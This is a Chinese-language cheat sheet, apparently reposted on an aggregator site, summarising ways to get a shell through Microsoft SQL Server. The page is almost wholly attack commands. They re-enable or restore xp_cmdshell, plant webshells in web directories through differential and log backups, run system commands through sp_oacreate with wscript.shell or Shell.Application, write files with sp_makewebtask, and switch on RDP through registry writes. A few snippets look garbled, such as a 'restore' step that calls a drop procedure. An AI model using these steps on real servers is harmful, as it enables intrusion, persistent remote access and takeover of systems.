MSSQL相关的Get Shell方法总结(速查)

您所在的位置:网站首页 find缺少exec参数 MSSQL相关的Get Shell方法总结(速查)

MSSQL相关的Get Shell方法总结(速查)

2023-03-15 21:24| 来源: 网络整理| 查看: 265

xp_cmdshell1. 执行 CMD 命令exec master..xp_cmdshell 'whoami';2. 检查是否启用 xp_cmdshellexec sp_configure;3. 启用 xp_cmdshell# 允许修改高级参数 exec sp_configure 'show advanced options',1; # 配置生效 RECONFIGURE; # 开启xp_cmdshell exec sp_configure 'xp_cmdshell',1; # 配置生效 RECONFIGURE;4. 关闭 xp_cmdshell# 开启高级选项 exec sp_configure 'show advanced options',1; # 配置生效 RECONFIGURE; # 关闭xp_cmdshell exec sp_configure 'xp_cmdshell',0; # 配置生效 RECONFIGURE;5. 检查是否存在 xp_cmdshell 存储过程select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

返回 1 为存在,返回 0 为不存在。

6. 恢复xp_cmdshell(存在 xplog70.dll 时)exec master..xp_dropextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int;7. 恢复xp_cmdshell(不存在 xplog70.dll 时)

先自己上传一个 xplog70.dll

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='C:\绝对路径\xplog70.dll' declare @o int;8. 删除xp_cmdshellexec master..sp_dropextendedproc xp_cmdshell;9. 写入 webshell10. 远程下载程序

各种文件写入和远程下载的方法可以看我以前写的文章

差异备份 注意:目标路径必须有写权限# 查看要创建的临时表是否被占用 IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp; # 将数据库备份至文件中 backup database db_name to disk = "目标文件路径.bak"; # 创建临时表 create table test (a image); # 写入木马 insert into test(a) values('一句话木马'); # 重新备份,木马写入文件 backup database db_name to disk = '目标文件路径.asp' with differential,format;日志差异备份 注意: 1. 数据库之前备份过 2. 恢复模式是完整模式 3. 目标路径有写权限# 查看要创建的临时表是否被占用 IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp; # 将数据库的恢复模式设置为完整模式 alter database db_name set RECOVERY FULL; # 创建临时表 create table temp (a image); # 备份数据库日志,并写入文件中 backup log db_name to disk = '目标文件绝对路径.bak' with init; # 在临时表中插入木马字符串 insert into temp (a) values ('一句话木马'); # 将含有木马字符串的日志备份写入文件中 backup log db_name to disk = '目标文件绝对路径.aspx';sp_oacreate 用不了xp_cmdshell的时候,可以使用这个来提权1. 检查 OLE Automation Procedures 状态exec sp_configure 'Ole Automation Procedures';

如果 config_value 和 run_value 都为 0 表示禁用

2. 启用 OLE Automation Procedures# 允许修改高级参数 exec sp_configure 'show advanced options',1; # 配置生效 RECONFIGURE; # 开启Ole Automation Procedures exec sp_configure 'Ole Automation Procedures',1; # 配置生效 RECONFIGURE; # 关闭高级参数 exec sp_configure 'show advanced options',0;3. 使用 wscript.shell# 声明一个变量 declare @shell int; # 使用sp_oacreate调用wscript对象 exec sp_oacreate 'wscript.shell',@shell output; # 使用sp_oamethod调用变量的属性run执行系统命令 exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c CMD命令';4. 使用 Shell.Applicationdeclare @o int; exec sp_oacreate 'Shell.Application', @o out; exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c CMD命令','c:\windows\system32','','1';sp_makewebtaskSQL Server 2008 不可用1. 恢复xp_makewebtask存储过程exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE;2. 写入文件exec sp_makewebtask 'C:\test1.php','select 一句话木马';xp_reg*1. 查看是否开启了 RDPexec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'

1 表示关闭,0 表示开启

2. 开启 RDP 端口EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;3. 查看 RDP 端口EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'4. 关闭 RDPEXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3